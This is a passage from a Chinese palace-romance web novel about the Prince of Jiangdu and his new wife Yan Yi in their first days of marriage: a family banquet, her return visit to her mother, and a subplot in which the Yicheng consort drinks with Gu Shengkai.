何光宴很快便想开了。既然返回江都之事不可改变,那便将事情往好处去想。纵观如今皇帝诸子之中,除太子之外,最出色拔尖的无疑是自家大王以及定安王。虽然定安王野心勃勃,但不可否认的是他确实出色,身上有军功,堪称庶出皇子第一人。他家大王在文治方面出众得分不少,可若是能够在对抗离渊上立下战功,锦上添花岂不更好。 “总归还是不要起战事的好。”百里漾岂能不知何光宴所想,他又何尝不知道战功对他的益处有多大。但战争残酷,能不起战火是最好的。 何光宴发现自家大王显出了优柔寡断的一面,还想再说什么,书房门外忽然传来禀报声,说是王妃在门外求见。他看见自家大王听到“王妃”二字面上肉眼可见地出现了喜色,想着今日是夫妻俩新婚第一日,很有眼见地先行告退了。 退至门外就见到不远处立着一位丽装女子,心知这便是王妃了,何光宴不敢多看,上前几步行礼,口中道:“拜见王妃,贺王妃与大王新婚之喜。” “何内史不必多礼。”颜漪见一人从书房出来,观他身上服饰再结合事先所了解的,直接猜测出了何光宴的身份。 何光宴见颜漪一眼便认出了他的身份,心中不由称赞王妃聪颖过人。看一眼天色,知晓眼下快到用晚膳的时辰,王妃八成是过来叫大王用膳。他一个老头子就不打扰小夫妻共进晚膳,当下直接向颜漪告辞了,还说了一句,“大王在书房之中。” 颜漪抬步继续往书房走去,距离门口几步之遥时却忽然不动了。正犹豫之间,撞上了从里面走出来的百里漾。 百里漾见到她来很是欢喜,问道:“你醒了?”又见她站在门外,直接拉了她的手带她迈入书房,边走边问,“睡得可好?我在车上见你睡得熟,不忍心打扰。”说着又有些不好意思。 颜漪垂眸看着他拉住自己的手,湛亮的眼眸之中熠熠有光,倒映出了她的影子。又随着百里漾极为自然随意的动作进入了书房之内,她面上、眼眸中也不禁被感染了笑意,回答百里漾的问题,“我刚醒来不久,亦睡得很安稳。” 这一觉她切实睡得很安稳,本以为离家新嫁让她多多少少都会感到不习惯以及不安稳,可事实并不如此。她也知道让她有这种感觉的原因就在眼前的这个人身上。 “睡得安稳便好。”百里漾仔细观察了一下颜漪的面色,发现确实比之前好多了,此前眼下隐隐现出的青色也没有,松了一口气- 作者有话说:准备回江都了。 第64章 婚后相处 颜漪被百里漾引着步入了他的书房, 就像是踏入了一个新的领域,首先做的一件事就是观察。这是一间标准到普通的书房,内里的布置、摆设都可以说是中规中矩, 亦能符合它的主人江都王的身份,看不出有什么能够体现出主人喜好的别致之处。 她在来之前是踌躇不定的。对于他们这样得人家来说,书房重地,向来忌讳甚多,外人不得擅入, 有时候便是家中女眷也不得进入。此前颜漪并不知道自己夫君江都王的书房对于她来说是不是一处禁地, 可她到底是想来的。结果是令人惊喜的, 百里漾不仅惊喜于她的到来,还姿态无比从容自然地将她带了进来。 他在邀请她进入他的领地, 并且心中毫无芥蒂。 “大王方才是在与何内史谈论公事么?”百里漾的纵容让颜漪心中产生了更多的欢喜,或许她与他之间的相处可以更加的随意、不必顾忌太多, 这般想着,她便直接开口问道。 百里漾并不瞒她, “我久不在江都, 范国相未免我对国中发生的一些事情不能及时知晓, 写了简报令人快马送来。方才我与何内史便是在说这些事,不是什么要紧之事。” 他并没有三言两语敷衍过去,能解释至此已经是看重她的体现。颜漪眸光愈加清亮柔和,打量书房的目光也不加掩饰。 百里漾见她不说话,自己倒是想多了。新婚第一日就抛下妻子过来处理事务确实有点不太好,况且妻子累到睡过去有一半也是因为自己。或许他之前就不应该过来书房与何光宴谈论江都的事情,左右也没有什么要紧的事情,应该守在颜漪的床边等着她醒来的。设身处地想一下,如果是他也希望自己新婚第一日醒来第一眼看到的是自己的夫君的吧。 百里漾心中歉意满满, 见颜漪对书房好奇,便引着她把书房参观了一圈,一边解释道:“这书房也就是这段时间用用,家令只是按着规矩添置了一些用具,所以瞧着便空荡了些。” 这座江都王宅是百里漾在兴业十二年受封江都王时便赐下来的,可惜的是在今年回湛京之前他一直没有什么机会住。以往的时候整座王宅也不过是由着家令留京看守,冷清得厉害。这次百里漾因为岁贡回京,家令不知道他的喜好,只是按照惯例添置用具。百里漾看过一遍,觉得足够了,且自己本身对这些没有过高的要求,后续也没有再添置什么。 百里漾看着身边垂眸注视着白皙指下按着的书案的王妃,想着她新进入这个家,之前在定国公府的许多东西搬不过来,需要重新添置准备,就比如书房,她在定国公府必定会拥有自己的一间书房,没道理嫁给他后反而没有了。 这般想着,百里漾问颜漪道:“不若让人收拾一个房间出来做书房?宅中空余的房间还有许多,你得空去瞧瞧有喜欢的挑一间出来,缺什么再让家令添置进去。” “谢大王好意。”对于百里漾的建议颜漪不是不心动,只是思考过后摇头婉拒了,“如今尚有许多事要去做,此事不急于一时。” 百里漾也看得出来颜漪是意动的可最后却是放弃了,很快也想到了她拒绝的缘由。想是她想到了自己再过不久就要随他一同返回江都这件事,此一去或许三年五载都不见得能够回来,这时有没有书房也不打紧了。 气氛有些沉下去。百里漾暂时不去想这个问题,他还是坚持道:“书房还是要有的,日后总会用到的。我稍后便与家令说一声,你再随处看看,相中了再令他添置用具。在此之前,你便先用着我的书房,可好?” 他是好意,颜漪不愿意拂了去,点头应允下来。 两人在书房稍坐了一会儿便有侍女过来问是否要摆饭,询问二人要在何处用膳。百里漾瞥了一眼外面夕阳已落,惊觉一日的时光过得如此之快。在询问过颜漪得到她对在何处用膳没有别的想法之后,百里漾命人照例将饭食摆到膳厅。 至夜间,就寝之前。 百里漾从浴房沐浴回到寝房,见颜漪坐在妆台前卸下簪钗等饰物,白日里被挽起束于脑后的发髻被放下,一头青丝如瀑散落下来,在烛光的辉映下呈现出如缎面般的光泽。他站在他身后不远处看着,忽然就十分意动想上手去摸一摸。他这身体的发质也就这样了,黑是够黑了,可发粗摸起来偏生硬,手感并不算好。他还是喜欢女子柔软又顺滑的发质。可惜他这辈子是不能够拥有了,只能羡慕别人了。 “大王?”颜漪从梳妆镜的倒映中看到了在愣神的百里漾,不由出声唤道。 百里漾轻咳了一声化解尴尬,低头掩去面上的窘迫,对颜漪说道:“你忙你的,不必管我。” 他不知道颜漪弄好需要多久,在寝房里走了一圈,发现房内只剩他们二人,又看床榻上的被褥还没有铺好,干脆自己铺床去了。 等颜漪起身过来发现他已经将床铺好了,她颇为震惊。百里漾见她脸上带出了些惊色,手上将被褥上最后一处不平整扯平了,眨眨眼道:“左右无事,便把床铺了。” 颜漪不知道他还会亲自做这些事情,这会儿也不觉得意外了,只是道:“这些事大王可以叫我来做的。” “不过是小事。”百里漾扭头看了一眼身后的颜漪,让开了身子。 这是他们同床共枕的第二夜,与成亲那夜的洞房花烛还是有些许不同的。百里漾躺在床榻上,身边的颜漪距他只有不到半臂长的距离。一人睡觉与二人同睡的区别此时便显露出来了。身边多了另一个不属于你的体温,她的呼吸在寂静的夜里清晰可闻,她身上的馨香萦绕在你的周身,你可以无比清楚地认知到她的存在。 百里漾不是很敢有过多的动作。这副身体昨日刚开了荤,如今不是很经得住诱惑。他昨夜已经将自己的王妃折腾过一回了,今日颜漪的疲累与眼下的青黑他也是有份的。后日他们还要回门,这两日便不放纵了。 他是这般想的,可佳人在侧,总是不那么容易淡定的。百里漾只能屏气凝神,慢慢将呼吸放长放缓,最后轻轻吁出一口气来。 室内光线昏暗,只在外间留了几盏灯,至里面,所见皆以不分明了。百里漾不知身边的颜漪是何时睡着的。待他回过神来,枕边之人的呼吸变得清浅舒缓。看来这两日是真的累着她了。百里漾侧首,黑暗之中只能看见颜漪一点朦胧的轮廓。 到这时,百里漾才有自己已经成亲娶妻的真实感。他知道他娶的人是颜漪,颜漪就是他的江都王妃。因为她是颜漪,让他觉得这种感觉也很美妙。 次日醒来时,百里漾发现自己又是将颜漪整个抱入怀中的姿态。依旧是他先醒来的,在意识到自己怀里抱着一个温软的身体之后,他微微有些窘迫,但很快就说服自己了,这是自己的妻子,自己的王妃,是可以光明正大地抱着的。 至于颜漪第二次从百里漾的怀里醒来时,微微抬眸便直接迎上百里漾带笑的脸,收到了今晨的第一声问安,“早安,王妃”。她还不是很能习惯如此亲密的姿势,脸上微红,却比第一日时镇定多了,回了百里漾一声,“大王,早安。” 之后便是起床,洗漱,梳妆穿衣。 两人各自都有人伺候,但颜漪因为梳妆打扮的缘故总是要慢一些的。百里漾也不着急,这时候就捧着不知道随手从哪里拿的书简在看,说是在看书,其实是很心不在焉的,注意力也一直放在妆台那边的颜漪身上。 百里漾以前也听说过丈夫给妻子画眉的故事,那时候没有什么感觉,这回轮到自己的时候也能够体会到一些故事里的人的心情,忍不住就有些跃跃欲试。但他这辈子还没有试过,实操经验那是一点也没有,要不还是算了? “王妃,大王一直在看着这边呢。”妆台边上,初禾一面为颜漪挽发成髻,一面忍不住偷笑。她虽然觉得百里漾假装看书实则偷看的行为很好笑,心里确实止不住地为颜漪高兴。尽管只有短短的两日,但江都王对待自家小姐如何她都看在眼里,心中自是欢喜。 “你轻声些。”颜漪亦是无奈。不远处的那人压根就没有发现他的一举一动可以通过她面前的铜镜看到。再说,那么大一个人杵在那里,让人怎么可能完全忽视了。但他以为她们没有发觉,那她们也就故作不知了。 正当百里漾犹豫间,这边颜漪已然成妆。她从妆台边起身,朝百里漾走来。妆容上只是略施粉黛,配饰的钗环也不繁复,却显得清雅大气,格外动人。 百里漾看得有些挪不开眼,手里的书简随手搁在一旁,迎上前走了几步,眼里都是笑,“好了?我们去用早膳吧。” 颜漪自是应下。 新婚第二日,白日无事,两人甚是清闲。左右无事可做,百里漾便带着颜漪将江都王宅里里外外地逛了一遍。不过因为百里漾自己之前也没有全部将整个宅邸都走过,这就需要人领路了。面对颜漪投来疑惑的目光时,他只好解释道:“这座宅邸太大,之前一直没有认真四处看过。”- 作者有话说:补6号的。 第65章 回门 早上逛宅子, 一边叫家令将江都王宅之中的管事仆役召集过来认一认颜漪这位女主人。这座宅子占地甚广,当初建造时工匠十分用心,后院之中不仅有园林, 还在园林之中造了许多别致有趣的景观。两人逛了一上午,午膳也是在园子中用的。 过了晌午,两人都有些困了,百里漾提议去午睡。颜漪看着他刚打完一个哈欠,想着晚上还要入宫赴宴, 点头应了。两人皆美美地睡了一个午觉, 到了时辰被人叫起, 收拾一番之后携手入宫赴宴了。 这是一场天家的家宴。由皇帝召集留居在湛京之中的百里氏子弟参与赴宴,除了皇帝所出的皇嗣之外, 还有的便是越国长公主、荣王等已经成为宗室的人。百里漾与颜漪作为此次家宴的主角,前来的许多都是长辈, 自是不好迟到的,故而早早便入宫了。 宴会的宫殿就在眼前, 百里漾边走边与颜漪说今晚的家宴都会来哪些人, 主要是说宗亲那边的, “亲近一些的便是越国姑母一家和荣王叔他们了,还有旁的一些宗亲也会来,那些人只消在面子上过得去即可。越国姑母是你见过的,她为人爽朗不拘,不会与你为难的。荣王叔亦是如此。今晚只是家宴,你不必有太大负担。” 一路上基本都是百里漾在说话叮嘱一些事项,显得有些絮絮叨叨的。颜漪也不觉得烦,反而觉得这样的百里漾很好很可爱。百里漾一边说着,她就一边含笑点头。 等到了殿前台阶, 百里漾说的嘴有些干了,可还有最重要的没有说,郑重道:“虽说不大可能真有人与你为难,可若是真受了气也不要憋着,来告诉我,我给你出气去。”自己的王妃怎么都不能让人欺负了去。 颜漪听了他的“霸气护妻宣言”还没有说什么,身后倒是传来一声“噗呲”笑声,转身一看是栎阳长公主百里澄。百里澄乐不可支道:“果然成了亲就不一样了。且放宽心,有五郎在,谁胆子那么大敢欺负我们的江都王妃。” 自己的话不仅被长姐听去了,现下还被长姐揶揄了,百里漾忍不住羞赧,再看自己的王妃亦是脸上薄红一片。他咳了两下掩饰羞囧,问道:“阿姐来的竟这般快。” 百里澄依旧笑得深意,答道:“不快也不慢,正是时候。”言下之意,正好听到你们夫妻俩说悄悄话。 “我们快进殿去,阿爹阿娘也差不多要到了。”百里漾可不敢接长姐的话,拉着颜漪的手喊着百里澄一道进殿去。要是任由长姐将这个话题继续进行下去,他与颜漪迟早有一人要顶着一张大红脸进去。 他们进殿之后,不多时,赴宴之人也陆续到了,帝后则是最后入殿的。皇帝见殿中诸人已然落座,气氛一团和乐,满面笑容道:“人都起了,那便开宴吧。” 今次家宴与前两月定安王他们在时差不多热闹,虽说没了定安王他们,可也多了一些宗室。皇帝开宴时放话说这是家宴,只为让大家见见新妇的,让众人不必拘束。大家见皇帝高兴,便挨个上前去给他敬酒。他们给皇帝敬了酒不算,还要过来给百里漾敬酒。 百里漾逃不掉,只能喝了。好在这回大家皆有分寸,不至于真的灌他酒。颜漪被越国长公主拉倒女眷那边去了,以皇后为首,周围皆是公主王妃这类人,聚在一起说话,时不时发出欢乐的笑声。 至夜半,家宴结束,众人纷纷各自归家去了。出宫门,回到江都王宅的车驾上,百里漾揉着有些发胀的脑门,身子往旁边一侧倒入了颜漪的怀中,顺势就靠在她的腿上,闭着眼喃喃道:“还好后半段学了聪明,偷偷往杯盏中注水,否则如何能够走得出宫门。” 颜漪让他突然的动作弄得身体微僵,但很快适应了腿上靠着一个活人脑袋的感觉,自发地为百里漾按揉着脑袋两侧的穴位,使他舒服些。 百里漾很享受来自自家王妃的服务,感受着脑袋两侧力道适中的按压,呼吸间尽是来自颜漪身上的馨香,他都有些昏昏欲睡了。正当酝酿了一些睡意之时,马车突然颠簸了下,急停下来。好在颠簸的幅度并不剧烈,百里漾只是被晃了一下,立即坐起,看颜漪并无磕碰到,皱着眉问道:“怎么回事?” 车夫告罪道:“适才转角处突然驶出一匹马来,险些撞上。” 百里漾眉头皱得更紧,掀开车帘看到不远处一人一骑飞快奔远,身影很快融入夜色之中消失不见。他放下车帘,重新坐回来,让车夫继续驾车,才同颜漪说道:“方才那人瞧着有几分熟悉,瞧着有些像宜城驸马。” “宜城驸马?”颜漪略为吃惊,“他不是与二公主一道回公主府么?” 今晚的家宴宜城公主与其驸马也来了。来是一道来的,回去也是一道回去的。在宫门登车时,百里漾与颜漪恰好亲眼见他们同上了宜城公主府的车驾。怎么这会儿宜城驸马自己驾马往另一个方向走了? 百里漾记得在宴上宜城驸马可是喝了不少酒的。若方才那人真的是宜城驸马,酒后驾马,方才又险些撞上马车,怎么想都不太对。想不明白便不想了。百里漾并不纠结这事,即便那人是宜城驸马,也不是他该去管的。 他摇头,“未必是他,是我眼花了也说不定。” 回到江都王宅,沐浴之后便是就寝。这一夜仍是老老实实地睡觉。在入睡之前,百里漾给自己灌了一碗醒酒汤才躺到床榻上。借着还没有被醒酒汤化去的酒劲,以及有了前两晚的入睡经历,百里漾已经可以比较坦然地将颜漪拥入怀中再入睡了。 虽然只同床共枕了两晚,但颜漪也发现了百里漾这个说不上是好还是坏的习惯。不管睡着之前两人的睡姿是多么的规矩,彼此之间的距离是如何的井水不犯河水,但再睁眼的时候自己必定是被这人手脚并用的紧紧抱住的。 百里漾拥着怀里软软的人儿,被窝里很舒适,下巴磨蹭了一下怀中人柔软的发顶,闭眼轻声呢喃道:“睡吧,明日还要回门呢。王妃,好梦。” 颜漪挣扎不了,也不太想挣脱,寻了一个舒服的位置靠着,闭眼听着这人胸腔下传来的强有力的心跳声,也轻声道了一声“好梦”。 第二日便是新妇三朝归宁回门之日。百里漾对此事很是重视,毕竟他娶了人家的女儿,总要回去让人看看女儿嫁给他之后过得好不好,好让他们放心将女儿交给他。新妇回门是要备礼的,礼物越是厚重便越能体现夫婿对新妇的看重。礼物家令昨日已备好,清单册子交由百里漾看过,他又添了几样上去。 “一切准备妥当,我们可以出发了。”临出门前,百里漾笑得灿烂,朝颜漪伸出了手。他能感受到她归家的心情中带着几分迫切,也能够理解,“我陪你一同回去见岳母他们。” “嗯。”颜漪展颜,搭上了百里漾的手,两人一同进入了车驾之中。 “今日又是哪家有大喜事不成?瞧这马车之上皆载得满满当当的,也不知里头塞了多少好东西。” “忘了三日前是江都王大婚么?今日三朝回门,江都王妃归宁,有这阵仗也不足为奇。” 归宁的队伍每驶过一处街道都引起周围人的注目,他们瞧见了,少不得要说上几嘴的。这是临街的一处酒楼,二楼往上朝向街道的一面做了半开放式的包厢,使得里面的客人靠着围栏能够居高临下瞧见下面的繁华街景。 今日这酒楼三楼这一侧的包厢皆被一位客人包场了。这位客人独自一人进了包厢,也不叫唱曲陪酒的伶人作陪,只不断地令人上酒上菜,靠着围栏一个劲地喝闷酒。酒家隐约瞧出这位客人怕是有些身份来历,不敢多言,客人吩咐什么便做什么。 “诶呀,看来今日我与顾兄甚是有缘,竟能在此处相遇。不知可否向顾兄讨些酒喝?”有人不请自来,拱手朝顾晟开问道。 顾晟开闻声抬眼去看来人,只顾自喝酒,不甚在意道:“原来是宜城驸马,什么风竟然把你给吹来了?” 来人一身绯袍,衬得他原本就出色的容貌更加映丽了三分,谁见了都得赞一声“美男子”,此人便是宜城公主百里溪的驸马。他不仅是不请自来的,还算得上是闯进来的。酒楼的小厮想拦又不敢拦,一路追了进来,一脸为难地看着顾晟开。 “这人你们也拦不住。”顾晟开也不知道喝了多少酒,直将自己喝得满面酡红,也不知此时还有几分是清醒的。晃了晃酒坛子,发现里面空了,他叫小厮再拿酒上来,随手又扔了一块金子出去。他给钱大方,又喝成这样,小厮不敢劝,忙不迭下去把酒拿上来。 “看来顾兄心里有愁事啊,却不知这酒入愁肠愁更愁。”宜城驸马对于顾晟开在他来了之后依旧自顾自喝酒并不觉得被怠慢了,自行倒了一杯,对顾晟开道,“一人独醉不若共饮来得畅快,顾兄可否与我干了此杯?” 顾晟开眯了眯眼,与宜城驸马对视片刻,没说什么,抬手与他干了一杯。两人接连着喝了一坛,期间也不说什么,直至最后一杯喝完,宜城驸马摔了酒杯,大喊一声,“畅快。”- 作者有话说:补7号的。这周随榜更20000字,没有更的日子后面会补上。 第66章 归宁 “若说人有百样愁, 这酒就能解千般忧。”两人一开始只是一个劲地喝酒,期间并没有交谈。到后面似乎是喝到酣畅之处,宜城驸马突然用力将酒杯狠狠地摔到地上, 瓷器霎时间碎裂朝四处飞溅。 他这如同发泄般的动作令只一味喝酒的顾晟开顿住,手执着酒杯看向宜城驸马。宜城驸马察觉到顾晟开看过来的目光,歉意道:“对不住顾兄,想到些伤心事,一时失态了。” 顾晟开微眯着眼, 忽然发笑, 说道:“贺兄出身庆阳侯府, 开国勋贵之家,少年得意, 贺二郎君的盛名至今仍不见衰。如今又得尚主贵为帝婿,前程似锦, 富贵无忧。我是真想不出来如今还有什么事能让驸马爷亦要为之忧虑愁苦的?” 宜城驸马姓贺,为庆阳侯嫡出第二子, 少有美名, 能文会武, 是湛京之中有名的美男子,当年不知引得多少女子心生爱慕。在十八岁时,他于宫宴之上被宜城公主百里溪一眼相中,之后公主之母郑妃便向皇帝请求为二人赐婚,皇帝欣然允准并亲自下旨赐婚,由此他便成了宜城公主的驸马。 “人活于世,哪能真的无忧无虑?我也不过表面光鲜,内里污浊罢了。帝婿哪是那般好做的。”宜城驸马长叹之后便是苦笑,摇头道, “不说这些了,都是些丧气事,别坏了你我饮酒的好兴致。”他说着不再提可愁苦的情绪却无从排解,一连灌了好几杯酒下肚,喝完之后又直呼“畅快”。 顾晟开看着开始用酒消愁的宜城驸马,眼底的光变得有些暗沉。湛京虽然喊打,但上层的圈子也就那么点,宜城公主与驸马感情不和、时有争执之事他也有所耳闻。只是他与宜城驸马向来相交平平,今日偶然碰见了不说,似乎还有向他倾吐苦水的迹象。 有趣。顾晟开从来不相信有无缘无故的事情,这人既然来了,他都要看看这宜城驸马究竟想干些什么。 一个确实心怀目的,一个有意探知,又有酒这么一个能把话聊开的好东西,你一眼我一语的,瞧着热乎的架势两人似乎已变成了无话不谈的好哥们了。酒坛子滚了一地,宜城驸马也喝得满面通红,一边打酒嗝一边还在说着宜城公主的不是,满腹怨气。 “天家公主高贵,说一不二,谁都得顺着她,容不得一丝忤逆。对谁都是召之即来挥之即去,不能有一丁点的不顺心,否则非打即骂。她哪里将我视作她的丈夫,一点妻子、儿媳的本分都没有尽到。”宜城驸马甚至大骂着宜城公主,怒气上头霍然起身,碰翻了酒水洒了一身,“谁要做她的驸马。当年分明是罔顾我的意愿,直接求陛下赐婚!她百里氏的人就是霸道。” “贺兄!”宜城驸马当着他的面大倒苦水,怒骂自己的妻子,到后面甚至直接指摘天家百里氏,顾晟开不得不出声喝止他。 宜城驸马醉眼朦胧,被喝一声整个人动作都僵住了,随即瘫倒似的坐回位子上,发了一会儿愣,而后低头看自己被酒水打湿的衣襟下摆,喃喃自语,“我这衣服怎么湿了?不管它了,倒是顾兄你,何故也、也在此借酒浇愁啊?” 顾晟开不语,定定看了宜城驸马几息,扭头看向外面热闹的街市。宜城驸马见他不回答,也没有追着去问,只是再次抬手举杯,邀他再痛饮几杯。 今日已出嫁为江都王妃的女儿要携夫婿江都王回门,定国公府为表重视,阖家出迎。江都王宅的车驾至,众人眼见着江都王先下车,正要上前去拜见,却见江都王转身朝着马车伸出手,将王妃搀扶下马车,随后两人才一齐朝着定国公府的众人走来。 双方在府门前见礼,随后以曹氏为首的定国公府众人便拥着百里漾与颜漪进入府内。这是百里漾第三回来定国公府,每回来身份都略有变化,这次直接成了国公府的新婿。还别说,这种感觉还挺奇妙的。 因着定国公带着长子颜青柏一家驻守边境无暇回来,如今的国公府中算得上主子的也就是曹氏、次子颜青梧一家、幼女以及定国公的几个庶出子女。这次百里漾陪着颜漪回门主要见的也是这些人,认认人,总不能日后遇见连人都认不出,好歹他现在也是人家的女婿了。 一大家子人一道往府里去,大家说着话,气氛也热络和谐。 百里漾身份尊贵,之前他与定国公府还没有什么关系的时候他来时都不怎么摆架子,如今成了人家的女婿,更不会自恃江都王的身份高高在上,尤为和善好说话。众人自觉簇拥他走在前面,颜漪则落后他半步,边说边走,只是自己不时觉得将王妃给落下了,时不时就要扭头去看她。后来干脆伸手牵了颜漪的手,拉着人在身旁一道入内。 众人皆在身边,且都是最亲近之人。颜漪被百里漾牵了手自是羞的,挣脱两下,不仅没有挣脱反倒被拉得更紧了。好在两人今日所着袍服袖口皆宽大,这般拉着手也能遮挡一二,不至于轻易就叫人看见了去。 颜漪又羞又无奈地看着与自己母亲曹氏说着话袖子底下却固执拉着她手的百里漾,竭力在表面装作若无其事不叫身边的亲人发现异常。 但怎么可能不叫人发现,至少是瞒不过曹氏的眼睛的。从江都王的车驾出现开始,曹氏便一直在留心观察女儿与江都王的相处状态,江都王对女儿的体贴细心她都看在眼里,这些日子提着的心也得以放下。这会儿又察觉到女婿走在前面还不忘拉着女儿的手,心中更是欢欣安慰。 女儿携新婿归宁回家,曹氏早已命人准备了宴席招待。宴席上,众人聚在一起欢宴,推杯换盏,时有笑语。百里漾与颜漪同坐一席,他自己吃着菜,一边与众人说着话,手上的动作不紧不慢地给颜漪夹菜。 “母亲说这个好吃,你试一试。”百里漾乐于与颜漪分享好东西,吃到好吃的觉得这个好吃夹来与王妃试一试,那个似乎也不错,一面与她低语,“二舅兄向我推荐了这道,滋味甚好,甜而不腻,拌些小料会更好。” “大王。”颜漪顶着旁边母亲曹氏以及堂下兄嫂揶揄又欣慰的目光婉拒了百里漾的投喂,与他说道,“我在家中时已尝过这些,大王喜欢可多吃些,不必顾我。” 百里漾一想,好像是这样。这些菜色都是定国公府中的,王妃怎么可能没有吃过。他停止了给颜漪加菜的行为,但还是说道:“有够不着的再叫我。” 这场宴席百里漾与颜漪皆是主位,他们的一举一动其实都被底下的人看着。坐在左下首位的颜青梧的妻子刘氏将江都王对待小姑子的体贴看在眼里,欣慰的同时还挺羡慕的,再看看旁边这个只知道自己吃菜喝酒的夫君,趁人不注意偷偷掐了一把他大腿上的肉。偏偏颜青梧自小习武将自己练得皮糙肉厚,被掐了没有反应不说,掐的人还手疼。 好在颜青梧总算是分了一点关注给自己的妻子,见她捏着手指,问她,“做什么呢?” “你看看江都王对待咱家妹妹是多么体贴照顾,你再看看你,就不能学着点么?”刘氏低声在夫君身边埋怨一下他的不解风情,又示意他去看主位上的两人。 然而上首的两人此时已然恢复了“正常”,颜青梧啥也没看到。他朝自己妻子眨眨眼睛,刘氏小小地翻了一个白眼,自己吃菜喝酒不理他了。 颜青梧摸了摸鼻子,转头又去与百里漾他们说话了。 散宴时恰好是午时,太阳暖洋洋地照在身上,叫人通身舒畅。颜青梧说上次百里漾来参观园子没有参观完,主动请缨要带他里外将园子参观一遍。百里漾知道这不过是托辞,好不容易女儿了回门岳母曹氏想要同女儿私底下说些私房话,怕他觉得无聊找个人陪他四处逛逛。国公府里能够做这件事情的也就是颜青梧了。 “那边有劳二舅兄了。”百里漾无意打扰颜漪与曹氏母女俩私下说话,便顺从了这个提议。正好他也想看看自家王妃自小生活的地方。 另一边颜漪随同母亲曹氏回到了自己出嫁之前一直居住的院落。看着里面的一切布局摆设都如她出嫁前一般别无二致,梳妆台上小物件的位置都维持了原先的模样,处处纤尘不染,就如同她从未离开过一般。可颜漪知道,一切到底是不一样了。 “看到你过得好,五王待你也好,我便能放心了。”曹氏拉着女儿的手两人面对面坐下,近距离仔细观察了女儿婚后红润的面容,又想到方才自己亲眼所见江都王对待女儿的体贴细致不似作假,这几日悬着的心也彻底放下来。她轻轻握着女儿的手,看着已经换上妇人装扮的女儿,心中终究是忍不住一阵酸涩。 “母亲不必为我忧心,大王性情温和,待我极好,我们相处很是融洽。”颜漪知道母亲曹氏在忧虑什么,将这几日发生的一些事大致说了,让她放心。 虽然女儿说得不甚详细,但曹氏还是从中发现了她这位新婿江都王似乎真的不是一般温柔体贴,他作为一男子却很能设身处地为女儿着想,更别说女婿还身居高位,更显难得- 作者有话说:补8号的,今日就一更。 第67章 告诫 “大王爱重你, 来日若去了江都,我也能放心。”女婿守礼懂得敬重嫡妻,曹氏也不必担心女儿之后离家远去江都会过得不好。但提到这个话题, 母女之间的气氛不由稍显沉重。 如今的江都王依旧是外封的诸侯王,他总还是要回到江都的。即便将来局势顺利变化,江都王日后有再回到湛京的那一日,那少说也要也是好几年之后的事情了。而颜漪作为江都王妃届时自是要陪着江都王一道去江都的,即便每年岁贡可以回京, 那母女日后也终究是一年只能见一回面了。 “阿娘。”沉默之中, 颜漪主动握住曹氏的手, 劝慰她,“您放心, 我会过得很好的,必不会不会让您与阿爹失望的。” 这桩婚事牵扯太多, 使得它不仅仅只是她与百里漾之间的一桩婚姻而已。不管是颜漪还是曹氏在知道要联结这桩婚事时就已经预见了将来可能会遭遇的种种可能,她们并非没有心理准备。眼下不过是因为即将到来的母女分别而一时感伤罢了。 曹氏很快收拾好情绪, 她本来就不是忧郁多思之人。只不过是这几日因长女出嫁不舍加之又不知女儿出嫁后情形如何, 心怀挂念, 少有的多愁善感罢了。 之后曹氏又问了女儿一些江都王后院的情况,在得知女婿江都王后院真的没有别的女人时既诧异又颇为欢喜。这世间男子位高权重者,极少有不二色之人。曹氏活了几十年都没有真正遇到几个,如今她的女婿却是少见的洁身自好之人,怎能不令人惊喜。 不过曹氏虽然惊喜于此,但不至于失了理智。 当初知晓女儿极有可能要嫁江都王之后,曹氏就暗中令人细细去打探江都王诸如性情、私德等方面的情况,即便得到的禀报是说江都王品性如何如何好、如何洁身自好不近女色的,她总是有七分不信的。 皇室为天下最贵, 富有四海,号令寰宇,天生就拥有世上最好的东西,受尽尊崇,想要什么得不到。而皇嗣们个顶个的出身高贵,想要的东西总有人千方百计地送到他们手上,即便不想要也总有人要拼着命地往上送,其中女色是最少不了的。 江都王贵为椒房嫡出,虽然曹氏相信以皇后的教养教导出的孩子不会是如长夏王那般的荒淫好色之人,但她也不会真的相信江都王的后院真的干干净净一个后宅女眷都没有。当时想着江都王的后院至多不过是有两三侍妾之流,女儿嫁过去即是正妃,安排处置起来也不会过于费心。却不想江都王的后院真的干干净净,反倒让人觉得有些不正常了。 “大王确实与旁人不大相同。”在闺房之中与母亲说这些夫妻之间的私密话,饶是颜漪素来镇定淡然,此刻也免不了生出了几分羞窘。 这三日她与百里漾几乎是同进同出,夜间又是同榻而眠,相处时亲密无间自然也就慢慢更加深入地了解百里漾这个人,发现了他一些生活上的小习惯,比如晚上睡觉怀里喜欢抱着什么,这一点就是颜漪用自己的亲身体会试探出来的。还有一点便是,百里漾不大喜欢让侍女或者是侍从贴身伺候他,如穿衣、洗漱、沐浴这些事情也多是自己亲力亲为,他的近身之侧都很少见婢女出现。 这几日下来,颜漪对于“百里漾是一个很奇特的男子”这一点有了更深入的认识。虽然觉得神奇,可不得不说,这样的百里漾,实是令人安心又喜欢。 “即便如此,你亦不可失了分寸。”曹氏的话中隐含告诫。 天家非寻常人家能比,一旦踏入天家门更多的则是身不由己。眼下江都王爱你敬你,身边只你一人,可是这份爱重又能够维持多久,三年,五年,还是十年,更或者说一辈子?至少曹氏自己是不敢去赌这个可能的。人心都是会变的,永远都不要去赌一个掌控权力之人的心永远不会变。 如果可以,曹氏当然希望江都王能够待自己女儿情深义重永远都不变,但人不能永远将希望寄托于他人的身上。登高易跌重,稍不留意便可能招致灭顶之灾,像他们这样的人家,更是如此。 “是,女儿谨记母亲教诲。”这既是一位母亲对女儿的尊尊教诲,也是定国公府当家主母对子女的诫言。所以颜漪起身郑重施礼领受了。她垂眸,细密黑长的睫羽遮住了眸中的光亮,在眼睛下方投下了一片阴影。 另一边,令人安心又喜欢的百里漾遇到一个不打也不小的“麻烦”,他被一个八岁的小姑娘拦住了去路,指控他拐带自家姐姐,致使她已经有整整三日见不到自己的长姐了。今日姐姐好不容易回来了,说什么都不同他将姐姐再带走了。 百里漾看着眼前这个还没有他腰高、脑袋上扎着可爱两个丸子包包头的小姑娘,眨了眨眼睛才从她的童言童语之中明白了她要表达的意思,只觉得无奈又好笑。 “宛宛,不得胡言。这是你大姐姐的夫君,你是要叫姐夫的。”边上的颜青梧看着眼前的这只小小“拦路虎”不由得头疼,在百里漾出声之前先站出来“斥责”这个最小的妹妹,让百里漾不要怪罪。不过这话听着像是斥责的话,实际上颜青梧的语气软和,更像是在哄小孩。 